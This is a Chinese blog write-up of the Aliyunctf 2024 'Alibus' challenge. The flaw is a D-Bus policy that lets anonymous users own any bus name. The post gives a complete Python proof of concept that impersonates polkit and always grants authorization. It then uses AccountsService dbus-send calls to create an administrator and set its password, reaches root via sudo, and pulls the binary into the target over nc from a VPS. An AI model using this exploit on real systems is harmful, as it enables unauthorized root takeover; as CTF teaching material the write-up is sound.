[2024.03.28] Aliyunctf Alibus 复现
解题思路
nc pwn5.aliyunctf.com 1337
查看 Hint
服务的配置文件位于容器 /etc/dbus-1/system.d/alibus.conf
<!DOCTYPE busconfig PUBLIC "-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN" "http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
<busconfig>
<auth>ANONYMOUS</auth>
<allow_anonymous/>
<policy context="default">
<allow own="*"/>
<allow own_prefix="org.zbus"/>
<allow send_destination="*"/>
<allow send_type="method_call"/>
</policy>
</busconfig>
D-Bus 是一个为进程间通信提供简单方法的消息总线系统。
阅读 Freedesktop 提供的文档 :
Rules with theown
orown_prefix
attribute are checked when a connection attempts to own a well-known bus names. As a special case,own="*"
matches any well-known bus name. The well-known session bus normally allows any connection to own any name, while the well-known system bus normally does not allow any connection to own any name, except where allowed by further configuration.
配置文件中 own_prefix="org.zbus"
被 own="*"
覆盖掉了
又因为配置文件允许 ANONYMOUS 认证,所以任何用户都可以向 dbus daemon 注册任意名称的接口。这将构成一个安全漏洞。
查看容器中可以被调用的 dbus 接口名:
$ busctl
NAME PID PROCESS USER CONNECTION UNIT SESSION DESCRIPTION
:1.0 20 alibus root :1.0 - - -
:1.1 58 busctl www-data :1.1 - - -
org.freedesktop.Accounts - - - (activatable) - - -
org.freedesktop.DBus 18 n/a root - - - -
org.freedesktop.PolicyKit1 - - - (activatable) - - -
org.freedesktop.hostname1 - - - (activatable) - - -
org.freedesktop.locale1 - - - (activatable) - - -
org.freedesktop.login1 - - - (activatable) - - -
org.freedesktop.network1 - - - (activatable) - - -
org.freedesktop.resolve1 - - - (activatable) - - -
org.freedesktop.systemd1 - - - (activatable) - - -
org.freedesktop.timedate1 - - - (activatable) - - -
org.freedesktop.timesync1 - - - (activatable) - - -
org.zbus.MyService 20 alibus root :1.0 - - -
(activatable)
表示该接口当前没有被注册,但是被调用时会自动激活
其中 org.freedesktop.Accounts
是 account-daemon
提供的一个管理系统用户的接口,提供了一些可以操作系统用户的方法,比如添加用户、修改密码等。当执行添加用户等敏感操作时, account-daemon
向 polkit
服务提供的 org.freedesktop.PolicyKit1
接口询问鉴权。
通常情况下,当你在系统设置中设置一些敏感项目,会看到以下需要输入密码的对话框:
这就是 polkit
服务在通知桌面询问管理员的授权。管理员认证成功后 org.freedesktop.PolicyKit1
接口返回认证成功的消息。
由于该题目中任何用户都可以向 dbus daemon 注册任意名称的接口,且 org.freedesktop.PolicyKit1
当前没有被注册,我们可以起一个自己的进程注册 org.freedesktop.PolicyKit1
,并在收到鉴权请求时都返回鉴权成功的消息。接着使用 org.freedesktop.Accounts
新建一个管理员用户,使用管理员用户提权并读取 flag。
查看容器中运行的进程,容器中带有 sudo:
$ ps -A
PID TTY TIME CMD
1 ? 00:00:00 timeout
7 ? 00:00:00 sh
8 ? 00:00:00 start.sh
19 ? 00:00:00 dbus-daemon
20 ? 00:00:00 alibus
21 ? 00:00:00 sudo
57 ? 00:00:00 sh
63 ? 00:00:00 ps
本地环境搭建
为了方便地编写和调试 PoC,我们可以在本地起一个环境。
读取容器中的 /etc/os-release
得知容器基于 Ubuntu 22.04 LTS 搭建的。
下载镜像 ubuntu-22.04.4-live-server-amd64.iso
并安装至虚拟机中,使用 SSH 登录。
镜像系统默认不包含 AccountService ,需要手动安装:
sudo apt install accountsservice
安装后可使用 busctl
命令查看到 org.freedesktop.Accounts
接口
ubuntu-server:~$ busctl
NAME PID PROCESS USER CONNECTION UNIT SESSION DESCRIPTION
:1.0 1 systemd root :1.0 init.scope - -
:1.1 6793 systemd-logind root :1.1 systemd-logind.service - -
:1.2 6798 busctl user :1.2 session-71.scope 71 -
com.ubuntu.SoftwareProperties - - - (activatable) - - -
fi.w1.wpa_supplicant1 - - - (activatable) - - -
io.netplan.Netplan - - - (activatable) - - -
org.freedesktop.Accounts - - - (activatable) - - -
org.freedesktop.Avahi - - - (activatable) - - -
org.freedesktop.DBus 1 systemd root - init.scope - -
org.freedesktop.ModemManager1 - - - (activatable) - - -
org.freedesktop.PackageKit - - - (activatable) - - -
org.freedesktop.PolicyKit1 - - - (activatable) - - -
org.freedesktop.UDisks2 - - - (activatable) - - -
org.freedesktop.UPower - - - (activatable) - - -
org.freedesktop.bolt - - - (activatable) - - -
org.freedesktop.fwupd - - - (activatable) - - -
org.freedesktop.hostname1 - - - (activatable) - - -
org.freedesktop.locale1 - - - (activatable) - - -
org.freedesktop.login1 6793 systemd-logind root :1.1 systemd-logind.service - -
org.freedesktop.network1 - - - (activatable) - - -
org.freedesktop.nm_dispatcher - - - (activatable) - - -
org.freedesktop.nm_priv_helper - - - (activatable) - - -
org.freedesktop.resolve1 - - - (activatable) - - -
org.freedesktop.systemd1 1 systemd root :1.0 init.scope - -
org.freedesktop.thermald - - - (activatable) - - -
org.freedesktop.timedate1 - - - (activatable) - - -
org.freedesktop.timesync1 - - - (activatable) - - -
此时 org.freedesktop.Accounts
接口与 org.freedesktop.PolicyKit1
接口的连接状态都应为 (activatable)
,如果服务已经在运行,可以使用 sudo systemctl restart dbus
命令强制重启 dbus。
将包含安全漏洞的 alibus.conf
放入 /etc/dbus-1/system.d/
目录下,重启 dbus。
我使用 Python 编写并打包 Poc,为此还需安装 pydbus
、pyinstaller
等 Python 库。
查看接口调用
在本地搭建的环境中使用 root 用户执行以下命令监控系统中的 dbus 通信:
ubuntu-server:~# busctl monitor
同时新开一个终端,使用 root 账户调用 org.freedesktop.Accounts
接口注册账户,
参数 1 string 类型,为系统用户名
参数 2 string 类型,为 real name
参数 3 int 类型,0 表示普通账户,1 表示管理员账户
更多信息可参考 https://cgit.freedesktop.org/accountsservice/tree/data/org.freedesktop.Accounts.xml
注册一个名为 hiiragi
的管理员账户:
ubuntu-server:~# dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:hiiragi string:hiiragiyuriko int32:1
返回监控 dbus 通信的终端,发现 AccountService 调用 org.freedesktop.PolicyKit1.Authority
接口的 CheckAuthorization
方法进行鉴权。
......
‣ Type=method_call Endian=l Flags=0 Version=1 Cookie=20 Timestamp="Thu 2024-03-28 10:39:25.572418 UTC"
Sender=:1.9 Destination=:1.10 Path=/org/freedesktop/PolicyKit1/Authority Interface=org.freedesktop.PolicyKit1.Authority Member=CheckAuthorization
UniqueName=:1.9
MESSAGE "(sa{sv})sa{ss}us" {
STRUCT "sa{sv}" {
STRING "system-bus-name";
ARRAY "{sv}" {
DICT_ENTRY "sv" {
STRING "name";
VARIANT "s" {
STRING ":1.11";
};
};
};
};
STRING "org.freedesktop.accounts.user-administration";
ARRAY "{ss}" {
};
UINT32 0;
STRING "";
};
......
查询 org.freedesktop.PolicyKit1.Authority
接口的 文档
CheckAuthorization (IN Subject subject,
IN String action_id,
IN Dict<String,String> details,
IN CheckAuthorizationFlags flags,
IN String cancellation_id,
OUT AuthorizationResult result)
其中 AuthorizationResult
结构体的定义为
{
Boolean is_authorized,
Boolean is_challenge,
Dict<String,String> details
}
当返回 {True, False, ""}
时,表示鉴权成功。
编写 Poc
根据 pydbus 提供的文档和示例,编写 poc.py 实现一个总是返回鉴权成功的鉴权接口:
from pydbus import SystemBus
from gi.repository import GLib
import _thread
import time
loop = GLib.MainLoop()
class Authority(object):
dbus = '''
<node>
<interface name="org.freedesktop.PolicyKit1.Authority">
<method name="CheckAuthorization">
<arg name="subject" direction="in" type="(sa{sv})">
</arg>
<arg name="action_id" direction="in" type="s">
</arg>
<arg name="details" direction="in" type="a{ss}">
</arg>
<arg name="flags" direction="in" type="u">
</arg>
<arg name="cancellation_id" direction="in" type="s">
</arg>
<arg name="result" direction="out" type="(bba{ss})">
</arg>
</method>
</interface>
</node>
'''
def CheckAuthorization(self, subject, action_id, details, flags, cancellation_id):
return [True, False, ""]
def myPolkit():
with SystemBus() as bus:
with bus.publish("org.freedesktop.PolicyKit1", ("Authority", Authority())):
loop.run()
_thread.start_new_thread(myPolkit, ())
time.sleep(9999)
由于上一步测试注册账户时激活了系统自带的 polkit
,导致脚本运行时会出现
RuntimeError: name already exists on the bus
所以需要重启虚拟机中的 dbus,使 org.freedesktop.PolicyKit1
返回 (activatable)
状态(也是题目容器中的状态):
ubuntu-server:~$ sudo systemctl restart dbus
此时使用普通用户运行脚本:
ubuntu-server:~$ python3 poc.py
新开一个普通用户终端,向 org.freedesktop.Accounts
接口发送新建管理员用户请求:
ubuntu-server:~$ dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:another_hiiragi string:hiiragiyuriko int32:1
返回:
method return time=1711624151.187000 sender=:1.3 -> destination=:1.5 serial=51 reply_serial=2
object path "/org/freedesktop/Accounts/User1003"
成功注册了一个 UID 为 1003 的管理员账户。
为了登入该账户并提权,还需对账户设置密码。
使用密码 mikusaikou
生成一段密码哈希:
ubuntu-server:~$ openssl passwd -5 mikusaikou
$5$EK4tWmJ2nfPIyZqI$ltIznqS.wwLsJbppLasscVmoUOPL2Zo3D9kbiXb8V62
向 org.freedesktop.Accounts
接口发送修改用户密码的请求:
ubuntu-server:~$ dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1003 org.freedesktop.Accounts.User.SetPassword string:'$5$EK4tWmJ2nfPIyZqI$ltIznqS.wwLsJbppLasscVmoUOPL2Zo3D9kbiXb8V62' string:'password hint'
此时用户管理服务同样调用 org.freedesktop.PolicyKit1.Authority
接口进行鉴权,由于鉴权接口总是返回鉴权成功,用户密码被成功修改。
查看系统 /etc/passwd
验证用户被注册:
......
another_hiiragi:x:1003:1003:hiiragiyuriko,,,:/home/another_hiiragi:/bin/bash
查看 /etc/shadow
验证密码被修改:
......
another_hiiragi:$5$EK4tWmJ2nfPIyZqI$ltIznqS.wwLsJbppLasscVmoUOPL2Zo3D9kbiXb8V62:19810:0:99999:7:::
使用用户 another_hiiragi
提权:
user@ubuntu-server:~$ su another_hiiragi
Password:
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
another_hiiragi@ubuntu-server:/home/user$ sudo -i
[sudo] password for another_hiiragi:
root@ubuntu-server:~# whoami
root
至此,编写完整的 poc.exp 实现注册自己的鉴权接口、调用用户管理接口注册管理员账户并设置密码:
from pydbus import SystemBus
from gi.repository import GLib
import _thread
import time
loop = GLib.MainLoop()
class Authority(object):
dbus = '''
<node>
<interface name="org.freedesktop.PolicyKit1.Authority">
<method name="CheckAuthorization">
<arg name="subject" direction="in" type="(sa{sv})">
</arg>
<arg name="action_id" direction="in" type="s">
</arg>
<arg name="details" direction="in" type="a{ss}">
</arg>
<arg name="flags" direction="in" type="u">
</arg>
<arg name="cancellation_id" direction="in" type="s">
</arg>
<arg name="result" direction="out" type="(bba{ss})">
</arg>
</method>
</interface>
</node>
'''
def CheckAuthorization(self, subject, action_id, details, flags, cancellation_id):
return [True, False, ""]
def myPolkit():
with SystemBus() as bus:
with bus.publish("org.freedesktop.PolicyKit1", ("Authority", Authority())):
loop.run()
_thread.start_new_thread(myPolkit, ())
# wait for dbus publish
time.sleep(2)
#get the system bus
bus_client = SystemBus()
#get account manager object
account_manager = bus_client.get("org.freedesktop.Accounts")
#call CreateUser() and print the result
#result is object path of the new user
user_path = account_manager.CreateUser("hiiragi", "hiiragiyuriko", 1)
print(user_path)
#set user password
account_manager = bus_client.get("org.freedesktop.Accounts", user_path)
#openssl passwd -5 mikusaikou
reply = account_manager.SetPassword('$5$2d6aRfWgJgeE9AjB$uyLmo2Hq1t5Dld.rqoCBV7T557Ebd1zNZn7eY4ISGK.', 'password hint')
print(reply)
测试运行:
ubuntu-server:~$ python3 poc.py
/org/freedesktop/Accounts/User1002
None
使用 pyinstaller 打包 PoC:
ubuntu-server:~$ pyinstaller -F poc.py
打包后的可执行二进制程序位于 dist/poc
查看依赖:
ubuntu-server:~$ ldd dist/poc
linux-vdso.so.1 (0x00007fff0e739000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fa4dc316000)
libz.so.1 => /lib/x86_64-linux-gnu/libz.so.1 (0x00007fa4dc2fa000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fa4dc2f5000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fa4dc0cc000)
/lib64/ld-linux-x86-64.so.2 (0x00007fa4dc323000)
由于题目容器也是基于 Ubuntu 22.04 制作的,打包后的可执行程序可以在题目容器中运行。
获取 Flag
找一台连接质量尚可的带有公网 IP 的 VPS,将打包后的 poc 上传至 VPS 中。
题目容器可以访问公网,但是没有 wget、curl 等命令,只有 nc。我们可以使用 nc 将 poc 传输至题目容器。
在 VPS 端监听 3428 端口:
➜ ~ nc -lvvp 3428 <./poc
Listening on any address 3428 (twcss)
在题目容器连接 VPS 端口并将文件保存至 /tmp/poc
:( 其中 [redacted]
为 VPS 公网 IP)
$ nc [redacted] 3428 > /tmp/poc
传输过程中不会显示进度,需要估算传输时间并耐心等待。此时不要操作 VPS 端,否则可能造成接收的文件损坏。
等待一段时间后,在 VPS 端按下 Ctrl + C 停止 nc 进程,然后返回题目容器按下 Enter 退出 nc 返回 shell 命令行。
PoC 完整性可以使用 md5sum
命令进行校验 。
确保传输无误后给 PoC 添加可执行权限并执行,成功注册了一个 UID 为 1000 的管理员账户:
$ chmod +x /tmp/poc
$ /tmp/poc
/org/freedesktop/Accounts/User1000
None
切换到该账户,使用 sudo 提权:
成功获取到 Flag.
本文链接:https://blog.hiirachan.moe/archives/473.html
This blog is under a CC BY-NC-SA 3.0 Unported License
本站不提供任何可用于侵入、非法控制计算机信息系统的程序、工具
亦不提供非法定信道进行国际联网